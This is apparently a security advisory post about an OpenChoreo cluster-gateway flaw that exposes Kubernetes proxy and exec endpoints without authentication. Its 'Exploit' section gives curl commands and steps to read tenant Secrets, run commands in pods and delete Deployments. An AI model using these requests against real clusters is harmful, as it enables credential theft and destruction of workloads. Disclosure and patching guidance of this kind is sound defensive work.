Listen to this Post
The OpenChoreo control-plane cluster-gateway exposes internal management endpoints (/api/proxy/, /api/exec/, /api/wirelogs/) that tunnel requests to connected data planes’ Kubernetes APIs. The internal listener performs no caller authentication — it accepts requests without client certificates or tokens. Its request validator permits mutating HTTP methods (POST, PUT, DELETE) and allows reads of Secrets in tenant namespaces; only `kube-system` Secrets are blocked. Although the client library documents these requests as “read-only,” the server enforces no such restriction. Any party able to reach the internal listener can read Secrets in any tenant namespace (database credentials, cloud/KMS keys, TLS private keys), create/modify/delete workloads (Deployments, Services, etc.), and execute commands inside pods via /api/exec/. This vulnerability is classified as an improper privilege management flaw (CWE-269), missing authentication for critical functions (CWE-306), and missing authorization (CWE-862). It serves as the missing second authorization layer behind GHSA-52gf-6rpq-fgmx (the openchoreo-api exec/wirelogs cross‑project authorization bypass) — because the gateway provides no compensating authorization, that bypass reaches the data‑plane Kubernetes API unchecked. Direct exploitability depends on network isolation of the internal listener, which is not fixed in source. Where the internal port is reachable by untrusted workloads without restrictive NetworkPolicy and impact lands in a separate data‑plane cluster, severity is Critical (CVSS 9.0); otherwise scored High. The issue affects versions prior to 1.0.3, prior to 1.1.3, and prior to 1.2.0-rc.2.
DailyCVE Form:
Platform: OpenChoreo
Version: <1.0.3, <1.1.3, <1.2.0-rc.2
Vulnerability: Missing Authentication & Authorization
Severity: Critical (CVSS 9.0)
date: 2026-08-13
Prediction: Patch already available (1.0.3, 1.1.3, 1.2.0)
What Undercode Say:
Check OpenChoreo version
kubectl get deployment openchoreo-cluster-gateway -n openchoreo -o jsonpath='{.spec.template.spec.containers[bash].image}'
Test internal listener reachability
curl -k https://<cluster-gateway-internal-ip>:<port>/api/proxy/apis/v1/namespaces/default/secrets
Attempt to read a tenant Secret
curl -k -X GET https://<cluster-gateway-internal-ip>:<port>/api/proxy/api/v1/namespaces/<tenant-namespace>/secrets/<secret-name>
Attempt to list pods in a data plane
curl -k https://<cluster-gateway-internal-ip>:<port>/api/proxy/api/v1/namespaces/default/pods
Attempt to exec into a pod
curl -k -X POST https://<cluster-gateway-internal-ip>:<port>/api/exec/ \
-H "Content-Type: application/json" \
-d '{"namespace":"default","pod":"<pod-name>","command":["id"]}'
Attempt to delete a Deployment
curl -k -X DELETE https://<cluster-gateway-internal-ip>:<port>/api/proxy/apis/apps/v1/namespaces/default/deployments/<deployment-name>
Exploit: (Educational Purposes!)
- Identify the internal listener IP and port of the OpenChoreo cluster-gateway (typically via service discovery or network scanning).
- Send an unauthenticated GET request to `/api/proxy/api/v1/namespaces/
/secrets` to enumerate all Secrets in a tenant namespace. - Read specific Secrets (e.g., database credentials, cloud keys) by requesting
/api/proxy/api/v1/namespaces/<tenant-namespace>/secrets/<secret-name>. - Mutate workloads by sending POST/PUT/DELETE requests to `/api/proxy/apis/apps/v1/namespaces/
/deployments` or other Kubernetes API endpoints. - Execute arbitrary commands inside pods via POST to `/api/exec/` with a JSON payload containing namespace, pod name, and command array.
- In multi-cluster deployments, repeat across all connected data planes as the gateway tunnels requests to every connected cluster.
Protection:
- Upgrade to OpenChoreo 1.0.3, 1.1.3, or 1.2.0 immediately.
- Apply restrictive NetworkPolicies to block untrusted workloads from reaching the internal listener port.
- Implement firewall rules to allow only trusted services within the Kubernetes cluster to access the cluster-gateway internal listener.
- Enable audit logging on the Kubernetes API server to detect unauthorized exec or suspicious API usage.
- Review and enforce proper RBAC for service accounts; do not rely solely on network isolation.
Impact:
- Secret Disclosure — reading any Secret outside `kube-system` in any tenant namespace (database credentials, cloud/KMS keys, TLS private keys), independent of workload ServiceAccount permissions.
- Workload Tampering or Destruction — creating, modifying, or deleting Deployments, Services, and other resources across all connected data planes.
- Pod Command Execution — executing commands inside workload pods via `/api/exec/` across every connected data plane.
- Multi-Cluster Compromise — lateral movement across multiple Kubernetes environments in multi-cluster deployments.
- Data Exfiltration & Service Disruption — potential for data exfiltration, service disruption, or complete cluster compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

